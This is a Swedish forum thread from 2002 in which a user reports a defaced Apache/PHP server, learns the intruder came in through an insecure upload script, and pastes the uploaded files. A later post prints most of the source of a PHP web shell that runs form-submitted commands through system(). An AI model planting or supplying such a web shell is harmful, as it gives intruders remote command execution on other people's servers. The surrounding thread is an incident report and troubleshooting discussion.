Gulp! jag har blivit hackad, vad kan jag åtgärda?

Permalänk
Medlem

Gulp! jag har blivit hackad, vad kan jag åtgärda?

Jag märkte precis att jag har blivit hackad.

Det är min http-server som har blivit det och äcklet har bytt ut all text i min inde.php-fil till
Im yu 0wner - gl0b4l
Han ändrade filen
den 29 oktober 2002, 09:15:23

Hur får jag fast jäveln?

Hur kollar jag hur han kom in?
Hur åtgärdar jag mina brister/hur får jag reda på mina brister.

Jag använder WinXP SV PRO
Apache/1.3.24
PHP Version 4.2.3
MYSQL version 3.23.39

HJÄLP MIG!!!

Permalänk
Medlem

Hoppas inte du hade nått personligt på datorn...

Ett stort argument till att köra PHP istället för ASP har ju varit för att apache är så mycket bättre å säkrare än ISS. Hmm

Visa signatur

Datorer - M1 MacBook Pro 14"
Hörlurssystem - Scarlett 4i4 / Objective2 / Beyerdynamic DT 770
Ljudsystem - NAD C356BEE > DALI Mentor 6
Bilpark - Porsche 718 Spyder

Permalänk
Medlem

för de första, uppgradera apache, versioner under 1.3.26 innehåller ett allvarligt säkerhetshål.

vad har du fler för saker igång? portscanna dej själv, kolla efter processoer som körs som du inte känner igen.

kolla igenom loggarna, alla som kan ha något med de att göra och kika kring den tiden.

se även till så att du inte har får lätta lösenord och inga gästkonton aktiverade.

Visa signatur

Hej

Permalänk
Medlem

Fan har inte folk annat o göra?? Mina loggar blir EXTREMT stora varje jävla dag pga folk som försöker det mesta... fattar de inte att de kan åka dit? Har minst 15 telia IP:n som leker med min webserver varje vecka..

Permalänk
Medlem

Varför anmäler du dom inte ?

Permalänk
Medlem
Citat:

Ursprungligen inskrivet av J!mb0
Varför anmäler du dom inte ?

det kommer jag göra så fort jag får ett ip att gå på.

Tack för alla förslag

jag ska kolla allt möjligt efter jag har käkat

Permalänk
Medlem

Jag vet nästan precis hur han gjorde, kontakta mig på irc: crawen @ efnet eller qnet

Permalänk
Medlem
Citat:

Ursprungligen inskrivet av spartacus
Hoppas inte du hade nått personligt på datorn...

Ett stort argument till att köra PHP istället för ASP har ju varit för att apache är så mycket bättre å säkrare än ISS. Hmm

apache är inte säkert, det har ju haft hål i vissa versioner

Permalänk
Medlem

I det här fallet så är det inte apache som har bajsat sig tror jag, snarare nullemans upload-script, om jag inte har helt fel asså...

Permalänk
Medlem

Att köra apache på en xp maskin är inte det säkraste. Du borde slänga ihop en linux server att köra apache på...

Visa signatur

LaserMagic
Web: www.lasermagic.se
Mail: info@lasermagic.se

Permalänk
Medlem

FAN eller JIPPIE

Jag hittade hur han hade gjort skiten

jag portscannade ig själv och jag fick upp en genväg till ett uploadscript i php som är simpelt och osäkert

Han hade uploadat 2 filer:
3v3l.php

<html> <head> </head> <body> <? //Cpu $cpuinfo = file("/proc/cpuinfo"); for ($i = 0; $i < count($cpuinfo); $i++) { list($item, $data) = split(":", $cpuinfo[$i], 2); $item = chop($item); $data = chop($data); if ($item == "cpu MHz") { $cpu_info .= " " . floor($data); } } echo ("Cpu: "); echo $cpu_info; echo (" Mhz"); ?> </body> </html>

phpshell.php

<html> <head> </head> <body> <? //Cpu $cpuinfo = file("/proc/cpuinfo"); for ($i = 0; $i < count($cpuinfo); $i++) { list($item, $data) = split(":", $cpuinfo[$i], 2); $item = chop($item); $data = chop($data); if ($item == "cpu MHz") { $cpu_info .= " " . floor($data); } } echo ("Cpu: "); echo $cpu_info; echo (" Mhz"); ?> </body> </html>

Jag har testat både lite grann men fattar inte hur dom funkar, skitsamma, uploadfunktion försvinner NU

Visst nu jävlar får jag skylla mig själv för att jag var så dum så man kunde ladda upp egna phpscript.

Skiten är abuseanmäld iaf.

blä för hela denna situationen

EDIT: precis som crawen sa så var det mitt uploadscript

Känns faktiskt ganska bra att det bara var ett sådant enkelt litet fel som avr så lätt och rätta till.

Så nu var det inte apache som var osäkert utan jag som hade glömt tagit bort den urusla uploadfunktionen.

Permalänk
Medlem

Hehe nulle, det är mig du har anmält där Och då har du anmält fel person :/

edit: Iaf om ip't slutar på 218.76

Permalänk
Medlem

ehh?

okej, jag har inte anmält nån än
men är det du som har uploadat dom där filerna?

Okej, men är det du som ahr uploadat test.txt och foo.exe?

Permalänk
Medlem

Men kontakta mig på icq eller irc så kan jag förklara

Permalänk
Medlem

Nej, jag har bara uploadat dom två innan, dom va bara för att testa ifall man kunde kolla info om servern, i detta fallet är det samma script som jag har på min sida för att visa cpu-speed dock hadde du winserver, och det märkte jag sedan eftersom scriptet inte funkade.

Permalänk
Medlem

allt de scripetn gör är att läsa innehållet i filen /proc/cpuinfo

edit: parse error on line 17

edit2: arghh... /proc/cpuinfo är helt tom...

Visa signatur

LaserMagic
Web: www.lasermagic.se
Mail: info@lasermagic.se

Permalänk
Medlem

Jopp det är det enda

Permalänk
Hedersmedlem

Tror vi hittat den skyldige

Permalänk
Medlem

skyldige?
han ändrade ju inte i den första php filen.. eller?

Visa signatur

hmmm, vad ska man skriva här då?

Permalänk
Medlem

oj ett litet fel i den senare phpfilen, jag råkade klistra in samma kod på båda php-filerna

det rätta i phpshell skall vara

<html> <head> <title>PHP Shell</title> <style> body {font-family: arial; font-size: 9pt; background-color: #eeeeee;} input,select {background-color: #f9f9f9; border : 1px solid #d8d8d8; font-size: 8pt; font-family: arial;} a {text-decoration: none;} </style> </head> <body> <?php putenv("HOME=/"); /* First we check if there has been asked for a working directory. */ if (!empty($work_dir)) { /* A workdir has been asked for */ if (!empty($command)) { if (ereg('^[[:blank:]]*cd[[:blank:]]+([^;]+)$', $command, $regs)) { if ($regs[1][0] == '/') { $new_dir = $regs[1]; } else { $new_dir = $work_dir . '/' . $regs[1]; } if (file_exists($new_dir) && is_dir($new_dir)) { $work_dir = $new_dir; } unset($command); } } } /* we chdir to that dir. */ if (file_exists($work_dir) && is_dir($work_dir)) { chdir($work_dir); $work_dir = exec("pwd"); } else { /* No work_dir - we chdir to $DOCUMENT_ROOT */ chdir($DOCUMENT_ROOT); $work_dir = $DOCUMENT_ROOT; } ?> <form name="myform" action="<?php echo $PHP_SELF ?>" method="post"> <p><b> <?php $work_dir_splitted = explode("/", substr($work_dir, 1)); echo "<a href=\"$PHP_SELF?work_dir=" . urlencode($url) . "/&command=" . urlencode($command) . "\">Root</a> / "; if ($work_dir_splitted[0] == "") { $work_dir = "/"; /* Root directory. */ } else { for ($i = 0; $i < count($work_dir_splitted); $i++) { /* echo "i = $i";*/ $url .= "/".$work_dir_splitted[$i]; echo "<a href=\"$PHP_SELF?work_dir=" . urlencode($url) . "&command=" . urlencode($command) . "\">$work_dir_splitted[$i]</a> / "; } } ?></b> <p>Choose new working directory: <select name="work_dir" onChange="this.form.submit()"> <?php /* Now we make a list of the directories. */ $dir_handle = opendir($work_dir); /* Run through all the files and directories to find the dirs. */ while ($dir = readdir($dir_handle)) { if (is_dir($dir)) { if ($dir == ".") { echo "<option value=\"$work_dir\" selected>.</option>\n"; } elseif ($dir == "..") { /* We have found the parent dir. We must be carefull if the parent directory is the root directory (/). */ if (strlen($work_dir) == 1) { /* work_dir is only 1 charecter - it can only be / There's no parent directory then. */ } elseif (strrpos($work_dir, "/") == 0) { /* The last / in work_dir were the first charecter. This means that we have a top-level directory eg. /bin or /home etc... */ echo "<option value=\"/\">..</option>\n"; } else { /* We do a little bit of string-manipulation to find the parent directory... Trust me - it works :-) */ echo "<option value=\"". strrev(substr(strstr(strrev($work_dir), "/"), 1)) ."\">..</option>\n"; } } else { if ($work_dir == "/") { echo "<option value=\"$work_dir$dir\">$dir</option>\n"; } else { echo "<option value=\"$work_dir/$dir\">$dir</option>\n"; } } } } closedir($dir_handle); ?> </select> Enable <code>stderr</code>-trapping? <input type="checkbox" name="stderr"></p> <p><input type="text" name="command" size="185"> <input name="submit_btn" type="submit" value="Go!"> <textarea cols="80" rows="31" readonly style="background-color: black; color: silver; width: 100%; font-family: fixedsys; font-size: 13pt;"> <?php $command = stripslashes($command); if (!empty($command)) { if ($stderr) { $tmpfile = tempnam('/tmp', 'phpshell'); $command .= " 1> $tmpfile 2>&1; " . "cat $tmpfile; rm $tmpfile"; } else if ($command == 'ls') { /* ls looks much better with ' -F', IMHO. */ $command .= ' -F'; } else if ($command == 'll') { $command = 'ls -alF'; } system($command); } ?>

Permalänk
Medlem

Jefflar...

Permalänk
Hedersmedlem

Öh, scriptkiddie, eller vad är det för idiot som kommenterar sina hacks?

Visa signatur

Asus ROG STRIX B550-F / Ryzen 5800X3D / 48 GB 3200 MHz CL14 / Asus TUF 3080 OC / WD SN850 1 TB, Kingston NV1 2 TB + NAS / Corsair RM650x V3 / Acer XB271HU (1440p165) / LG C1 55"
NAS: 6700K/16GB/Debian+ZFS | Backup (offsite): 9600K/16GB/Debian+ZFS

Permalänk
Medlem

jag skulle nästan tippa lite på scriptkiddie

Visa signatur

hmmm, vad ska man skriva här då?

Permalänk
Medlem

mm...ser lite lol ut att commenta sina hacks

Permalänk
Hedersmedlem

nulleman: Fixa fram ett IP på killen, så ska jag söka här i forumet.

Permalänk
Medlem

Alla vet att Apache är säkrare än IIS vid installation, just därför uppdaterar de flesta IIS och slipper därmed de kända problemen.

Men få inser att även Apache behöver underhållas för att vara säkert.

Permalänk
Medlem
Citat:

Ursprungligen inskrivet av denka
Alla vet att Apache är säkrare än IIS vid installation, just därför uppdaterar de flesta IIS och slipper därmed de kända problemen.

Men få inser att även Apache behöver underhållas för att vara säkert.

True, true..

Visa signatur

Old math teachers never die, they just tend to infinity.

Permalänk
Medlem
Citat:

Ursprungligen inskrivet av Kennel
nulleman: Fixa fram ett IP på killen, så ska jag söka här i forumet.

grillcliff har reda kollat och han hittade ionget

Permalänk
Medlem

Grabben hade ju lite skön stil iaf... skriva in kommentarer i sitt eget hackscript

eller också så var det bara en scriptkiddie..

Visa signatur

Those who would give up Essential Liberty to purchase a little Temporary Safety, deserve neither Liberty nor Safety. - Benjamin Franklin
Länk.

Permalänk
Hedersmedlem

Jag gissar på en scriptkiddie som ville ge igen för att du anmälde signaturen